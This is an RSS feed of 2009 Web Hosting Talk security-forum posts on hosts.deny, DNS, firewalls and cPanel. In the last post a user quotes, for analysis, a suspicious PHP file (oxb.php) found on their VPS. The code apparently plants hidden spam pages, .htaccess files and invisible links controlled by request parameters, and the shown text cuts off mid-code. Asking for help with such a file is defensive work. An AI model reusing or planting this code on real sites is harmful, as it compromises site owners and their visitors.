<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
	<channel>
		<title><![CDATA[Web Hosting Talk - Technical & Security Issues]]></title>
		<link>http://www.webhostingtalk.com/</link>
		<description>Configuring and optimizing web hosting servers and operating systems, developing administration scripts, building servers, protecting against hackers, and general security (SSL certificates, etc.)</description>
		<language>en</language>
		<lastBuildDate>Fri, 17 Jul 2009 04:33:22 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>60</ttl>
		<image>
			<url>http://cdn.webhostingtalk.com/whtimages_blue/images/misc/rss.jpg</url>
			<title><![CDATA[Web Hosting Talk - Technical & Security Issues]]></title>
			<link>http://www.webhostingtalk.com/</link>
		</image>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/webhostingtalk/technicalandsecurityissues" type="application/rss+xml" /><item>
			<title>hosts.deny</title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876296&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 22:54:42 GMT</pubDate>
			<description><![CDATA[Completely new stuff for me so i have a few basic questions. 
 
It all started after i've noticed a lot "/w00tw00t.at.ISC.SANS.DFind:" lines in log...]]></description>
			<content:encoded><![CDATA[<div>Completely new stuff for me so i have a few basic questions.<br />
<br />
It all started after i've noticed a lot &quot;/w00tw00t.at.ISC.SANS.DFind:&quot; lines in log and after i've found they are random scanning by some hacker tool.<br />
<br />
It is suggested to block IP's from where those attacks is comming by putting IP+s in host.deny.<br />
<br />
Correct me what i am doing wrong as i keep seeing those scans after I've updated deny file.<br />
<br />
I've edited hosts.deny like this:<br />
<br />
ALL: 77.68.37.242, 89.19.2.58, 80.93.210.194<br />
<br />
That is correct?<br />
<br />
After that i've restarted sshd service but i still someone scanning my server from those IP's.<br />
<br />
What i am doing wrong?</div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>fkranjce</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876296</guid>
		</item>
		<item>
			<title>Web security question</title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876295&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 22:53:44 GMT</pubDate>
			<description><![CDATA[Hi all, 
 
I'm new to this site and web hosting. I would like to know your expert opinion on a problem I have regarding hosting/designing my...]]></description>
			<content:encoded><![CDATA[<div>Hi all,<br />
<br />
I'm new to this site and web hosting. I would like to know your expert opinion on a problem I have regarding hosting/designing my application. Users of my website upload highly sensitive files to the server. I'll use SSL but will that be enough since the files are not encrypted on the server. I tried to encrypt the files but that is adding a huge overhead. <br />
<br />
My first question is - is it a good idea to store the files on the server rather than a database? My other question is regarding hosting; I'm thinking of building my own server and host it in a colo. Is colo more secure than dedicated hosting? Currently i'm still in the process of developing my App and my environment is Windows Server 2008/SQL Server 2005.<br />
<br />
Any comments/suggestions are highly appreciated. I'm so confused how to host my App since the data is highly sensitive. <br />
<br />
Thank you.</div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>webdevelopr</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876295</guid>
		</item>
		<item>
			<title>Network switches for a 200 apartment dorm</title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876238&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 19:12:52 GMT</pubDate>
			<description>Hey guys 
 
I am an admin at the dorm I live in. We have around 200 apartments that are all connected to our internet connection (2x100Mbit). We are...</description>
			<content:encoded><![CDATA[<div>Hey guys<br />
<br />
I am an admin at the dorm I live in. We have around 200 apartments that are all connected to our internet connection (2x100Mbit). We are looking to upgrade our internal network and I am looking for some advice on which switches to upgrade to..<br />
<br />
I have been looking at HP ProCurve  Switch 1800-24G and then adding 2x fiber uplinks to the &quot;backbone&quot; switch<br />
<br />
Do you guys have any experience with this paticular switch or do you have any other devices - in the same pricerange - that you would suggest?</div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>mazedk</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876238</guid>
		</item>
		<item>
			<title>domain setting</title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876229&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 18:41:27 GMT</pubDate>
			<description><![CDATA[i got a problem about my domain, says, abc.com 
  
the problem is that <a href="http://www.abc.com" target="_blank">www.abc.com</a> is working......]]></description>
			<content:encoded><![CDATA[<div>i got a problem about my domain, says, abc.com<br />
 <br />
the problem is that <a href="http://www.abc.com" target="_blank">www.abc.com</a> is working...<br />
but abc.com is not connectable..<br />
 <br />
may i know how to solve this? many thanks :)</div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>j531168</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876229</guid>
		</item>
		<item>
			<title>How to automatically check and repair mysql databases and tables?</title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876222&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 18:20:42 GMT</pubDate>
			<description>I have cPanle shared account. 
 
Is there a way to automatically check and repair mysql databases and tables, that can be scheduled as cron job?</description>
			<content:encoded><![CDATA[<div>I have cPanle shared account.<br />
<br />
Is there a way to automatically check and repair mysql databases and tables, that can be scheduled as cron job?</div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>smartcard</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876222</guid>
		</item>
		<item>
			<title>Godaddy MX record incorrect</title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876214&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 17:48:17 GMT</pubDate>
			<description>please delete</description>
			<content:encoded><![CDATA[<div>please delete</div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>deeje</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876214</guid>
		</item>
		<item>
			<title>Multiple servers, same nameservers?</title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876196&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 16:03:50 GMT</pubDate>
			<description>Hi there, 
 
I feel somewhat ashamed of having to ask this, but here goes! 
 
I have 2x servers with the following os/control panels: 
 
* 1x Windows...</description>
			<content:encoded><![CDATA[<div>Hi there,<br />
<br />
I feel somewhat ashamed of having to ask this, but here goes!<br />
<br />
I have 2x servers with the following os/control panels:<br />
<ul><li>1x Windows Server 2008 running Plesk 9.2</li>
<li>1x Centos 5.3 running cPanel/WHM</li>
</ul><br />
What I wish to do is to point all of my domains to the nameservers:<br />
<ol style="list-style-type: decimal"><li>ns1.domain.com</li>
<li>ns2.domain.com</li>
</ol><br />
But, the domains hosted could be on <b>either</b> of the boxes above (because some sites are ASP.NET and others PHP).<br />
<br />
Each of the above machines are running BIND and I have not yet setup nameservers on either of them. How should I proceed with this?<br />
<br />
In addition (for arguments sake), if I then add additional servers how would I then achieve the same?<br />
<br />
If there's already stuff around on the forum (I've done a search but found nothing specified to my issue of running a windows and linux box with completely different control panels) please point me in the right direction.<br />
<br />
Thanks.</div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>robsimm</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876196</guid>
		</item>
		<item>
			<title>Cisco Help! Trying to produce Lantencies for Testing</title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876195&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 15:53:42 GMT</pubDate>
			<description>What I am trying to do is two controled tests.  
 
1) Introduce a 250ms latency on a network from a source IP only. 
 
2) Introduce a 5000ms latency...</description>
			<content:encoded><![CDATA[<div>What I am trying to do is two controled tests. <br />
<br />
1) Introduce a 250ms latency on a network from a source IP only.<br />
<br />
2) Introduce a 5000ms latency on a network from a source IP only.<br />
<br />
Optionally I would go for introducing the latency to all inbound, outbound traffic without the source IP restriction.<br />
<br />
Network layout is as follows.<br />
<br />
Cisco ASA5550/VPN Module Firewall with two <br />
<br />
4506 switches behind it, one for Public VLAN one for Internal VLAN, multiple hosts connected to each switch both Windows and Linux.<br />
<br />
Is there a way to introduce these latencies for testing purposes by some sort of Firewall or switch configuration?<br />
<br />
I know I can use Cisco's NIST Net WAN emulation software but that is per host and would prefer to do this accross the entire network at one time.<br />
<br />
<br />
<br />
Any help on this would be greatly appeciated.</div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>Patrick67</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876195</guid>
		</item>
		<item>
			<title><![CDATA[Client can't log in to cpanel]]></title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876174&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 14:31:07 GMT</pubDate>
			<description><![CDATA[I've got cPanel 11.24.5-R37127 - WHM 11.24.2 - X 3.9 
CENTOS 4.7 i686 standard on server 
 
A hosted client suddenly can't log in to her cpanel. I...]]></description>
			<content:encoded><![CDATA[<div>I've got cPanel 11.24.5-R37127 - WHM 11.24.2 - X 3.9<br />
CENTOS 4.7 i686 standard on server<br />
<br />
A hosted client suddenly can't log in to her cpanel. I can login just fine with her user/pass and another gal can too. But she can't. She says it just keeps asking for the password over and over.<br />
<br />
I had her clear her cache and cookies, and reboot her pc, but that did no good at all.<br />
<br />
Might this be a server issue or a browser issue? Does anyone have any ideas at all how to fix this problem?</div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>junglecat</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876174</guid>
		</item>
		<item>
			<title>Which is the best DNS Server?</title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876167&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 13:59:47 GMT</pubDate>
			<description>Hello guys, 
My friend is gonna start a service like afraid.org, and he needs a dns server which is powerful and light weight and nicely features...</description>
			<content:encoded><![CDATA[<div>Hello guys,<br />
My friend is gonna start a service like afraid.org, and he needs a dns server which is powerful and light weight and nicely features well. He will prolly maintain millions of records so we need one which can handle that...please help<br />
<br />
thanks and regards<br />
<br />
edit: we are currently considering BIND, mydns and powerdns, we are not sure about which one is the best among these three, though...lol</div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>amjadali</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876167</guid>
		</item>
		<item>
			<title>Apf or Csf?</title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876145&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 11:46:12 GMT</pubDate>
			<description>Which firewall would be better?And does apf works without control panel?</description>
			<content:encoded><![CDATA[<div>Which firewall would be better?And does apf works without control panel?</div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>roguehosting</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876145</guid>
		</item>
		<item>
			<title>1 domain, different nameservers engine (ip)</title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876143&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 11:34:18 GMT</pubDate>
			<description><![CDATA[hi, i have nameservers in my domain (let's say ns1.mydomain.com n ns2.mydomain.com) that registered for my first vps, i want to make 2 more...]]></description>
			<content:encoded><![CDATA[<div>hi, i have nameservers in my domain (let's say <i>ns1.mydomain.com</i> n <i>ns2.mydomain.com</i>) that registered for my <i>first vps</i>, i want to make 2 more nameservers from my domain for my <i>second vps</i> (<i>ns3.mydomain.com</i> n <i>ns4.mydomain.com</i>), so i have <i>1 domain</i> with <i>4 nameservers</i> in <i>2 vps</i> (2 ns in each vps), it would be like this.<br />
<br />
ns1.mydomain.com = vps1<br />
ns2.mydomain.com = vps1<br />
ns3.mydomain.com = vps2<br />
ns4.mydomain.com = vps2<br />
<br />
<i>ns1</i> n <i>ns2</i> is working (can connect to the first vps), but <i>ns3</i> n <i>ns4</i> isn't work (cannot connect to the second vps), in different way i tried to make <i>ns3</i> n <i>ns4</i> for the second vps with different domain and it's work, it would be like this.<br />
<br />
ns1.mydomain.com = vps1<br />
ns2.mydomain.com = vps1<br />
ns3.my2nddomain.com = vps2<br />
ns4.my2nddomain.com = vps2<br />
<br />
so, i wanna ask can i use 4 nameservers in 1 domain for 2 vps? i mean use one domain for more that one ip (different engine) thx! :)</div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>lxspcby</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876143</guid>
		</item>
		<item>
			<title>IP Security Policies</title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876141&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 11:31:53 GMT</pubDate>
			<description>I want to setup a Windows 2003 security policy to filter traffic. 
 
I want to let most of the world through to port 80 so maybe just ban a few...</description>
			<content:encoded><![CDATA[<div>I want to setup a Windows 2003 security policy to filter traffic.<br />
<br />
I want to let most of the world through to port 80 so maybe just ban a few nuicance IP's.<br />
<br />
But then I have a POP / IMAP server, VPN, SMTP, etc that I want to block all but UK IP addresses.<br />
<br />
I know I can do this through the MMC snap in but this is 1000's of IP's.<br />
<br />
Is there a way I can import a list/range of IP's that I want to block from a country IP database?</div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>daninmanchester</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876141</guid>
		</item>
		<item>
			<title>Editing DNS Zones in WHM</title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876127&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 09:35:07 GMT</pubDate>
			<description><![CDATA[I'm in the process of migrating a site to a new server.  we're not ready to move email yet, so ideally i would like to just move web traffic at this...]]></description>
			<content:encoded><![CDATA[<div>I'm in the process of migrating a site to a new server.  we're not ready to move email yet, so ideally i would like to just move web traffic at this time.  i would like to be able to do this without changing the nameservers with the domain's registrar at this time.<br />
<br />
which records to i need to manipulate in order to do this?<br />
<br />
can i just change the A record for domain.com to point to a new IP and this won't impact the current email or do i need to move the entire site?<br />
<br />
My biggest concern right now is impacting email by moving the everything to the new server.</div>

]]></content:encoded>
			<category domain="http://www.webhostingtalk.com/forumdisplay.php?f=5"><![CDATA[Technical & Security Issues]]></category>
			<dc:creator>r557</dc:creator>
			<guid isPermaLink="true">http://www.webhostingtalk.com/showthread.php?t=876127</guid>
		</item>
		<item>
			<title>Strange PHP file on my VPS. (oxb.php)</title>
			<link>http://www.webhostingtalk.com/showthread.php?t=876121&amp;goto=newpost</link>
			<pubDate>Thu, 16 Jul 2009 08:59:34 GMT</pubDate>
			<description><![CDATA[I'm afraid to ask, but I found a strange PHP file in a strange folder on a VPS I am using to host a few sites. I've looked through the logs but can't...]]></description>
			<content:encoded><![CDATA[<div>I'm afraid to ask, but I found a strange PHP file in a strange folder on a VPS I am using to host a few sites. I've looked through the logs but can't figure out how it got there and I've look at the code and can't make any sense of it. Can somebody take a look at the code and tell me what they think of it:<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">&lt;?php<br />
ignore_user_abort(1);<br />
set_time_limit(0);<br />
<br />
function Clear()<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; unlink(&quot;c&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; unlink(&quot;1r.txt&quot;);<br />
&nbsp; unlink(&quot;log&quot;);<br />
}<br />
<br />
function Clear2()<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $mrd = trim(file_get_contents(&quot;m&quot;));<br />
&nbsp; &nbsp; &nbsp; &nbsp; $pt = &quot;../$mrd&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $fin = file_get_contents($pt);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $fin = ereg_replace(&quot;&lt;dd4&gt;(.*)&lt;dd5&gt;&quot;, &quot;&quot;, $fin);<br />
&nbsp; $fin = ereg_replace(&quot;&lt;!--dd4--&gt;(.*)&lt;!--dd5--&gt;&quot;, &quot;&quot;, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $fin = preg_replace('#&lt;a[^&gt;]+\_lm[^&gt;]*&gt;.*?&lt;/a&gt;#is', '', $fin); <br />
&nbsp; &nbsp; &nbsp; &nbsp; $fin = preg_replace(&quot;/http(.*?)tmp6(.*?)\&lt;\/a\&gt;/&quot;, &quot;&quot;, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $fin = ereg_replace(&quot;&lt;!--dd4--&gt;&quot;, &quot;&quot;, $fin);<br />
&nbsp; $fin = ereg_replace(&quot;&lt;!--dd5--&gt;&quot;, &quot;&quot;, $fin);<br />
&nbsp; $fin = ereg_replace(&quot;&lt;font style=\&quot;position: absolute;overflow: hidden;height: 0;width: 0\&quot;&gt;&quot;, &quot;&quot;, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; $fmrd = fopen($pt, &quot;w+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fwrite($fmrd, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; fclose($fmrd);<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot; upt-ok&quot;;<br />
}<br />
<br />
function GetVar($name, &amp;$var)<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $var = &quot;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_POST[$name]))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $var = $_POST[$name];<br />
<br />
&nbsp; if (isset($_GET[$name]))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $var = $_GET[$name];<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; if (($var) ==&quot;&quot;)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp; false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; else return true;<br />
}<br />
<br />
<br />
function GenNew()<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $alp = &quot;abcdefghiklmnjsweqrtyuiopzx&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $maps = array();<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_POST[&quot;sg&quot;]))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sg = $_POST[&quot;sg&quot;];<br />
<br />
&nbsp; if (isset($_GET[&quot;sg&quot;]))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sg = $_GET[&quot;sg&quot;]; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; $path = &quot;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $fr = fopen(&quot;1r.txt&quot;, &quot;a+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (file_exists(&quot;c&quot;))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fconf = file(&quot;c&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $tname = trim($fconf[0]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; else <br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fconf = fopen(&quot;c&quot;, &quot;w+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $rnd = mt_rand(0, 999);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $nm = &quot;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for ($i=0; $i&lt;5; $i++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $ran = mt_rand(0,26);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sym = $alp[$ran];<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $nm = $nm.$sym;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $tname = $nm;<br />
&nbsp; &nbsp; mkdir($tname);<br />
&nbsp; &nbsp; fwrite($fconf, $tname);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $pid = 0;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fht = fopen(&quot;$tname/.htaccess&quot;, &quot;w+&quot;);<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $htname = $sg.&quot;2.txt&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fp = fopen($htname, &quot;r&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fin = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (!feof($fp))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fc = fgets($fp, 1024);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (!$fc) break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fin .= $fc;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fp);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite($fht, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fht); <br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; $gname = $sg.&quot;sgen.php&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; for ($j=$pid; $j&lt;$pid+10; $j++)<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fc = &quot;&quot;; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fp = fopen($gname, &quot;r&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fin = '';<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (!feof($fp))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fc = fgets($fp, 1024);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (!$fc) break;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $fin .= $fc;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fp);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $arr = explode(&quot;&lt;/html&gt;&quot;, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //print_r($arr);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $curs = trim($arr[1]);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $newf = &quot;$tname/$curs/&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; echo &quot;$newf&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mkdir($newf);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fnd = fopen(&quot;$tname/$curs/$curs&quot;.&quot;.htm&quot;, &quot;w+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite($fnd, $fin);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fclose($fnd);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fwrite($fr, &quot;$tname/$curs/$curs&quot;.&quot;.htm\n&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
}<br />
<br />
function Gen2()<br />
{<br />
&nbsp; &nbsp; &nbsp; &nbsp; $alp = &quot;abcdefghiklmnjsweqrtyuiopzx&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $maps = array();<br />
&nbsp; &nbsp; &nbsp; &nbsp; $md = false;<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (isset($_POST[&quot;sg&quot;]))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sg = $_POST[&quot;sg&quot;];<br />
<br />
&nbsp; &nbsp;  if (isset($_GET[&quot;sg&quot;]))<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $sg = $_GET[&quot;sg&quot;]; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp;  if (isset($_GET[&quot;md&quot;]))<br />
&nbsp; &nbsp; &nbsp;  $md = true; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; $path = &quot;&quot;;<br />
&nbsp; &nbsp; &nbsp; &nbsp; $fr = fopen(&quot;1r.txt&quot;, &quot;a+&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; if (file_exists(&quot;c&quot;))<br />
&nbsp; &nbsp; &nbsp; &nbsp; {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $fconf = file(&quot;c&quot;);<br />
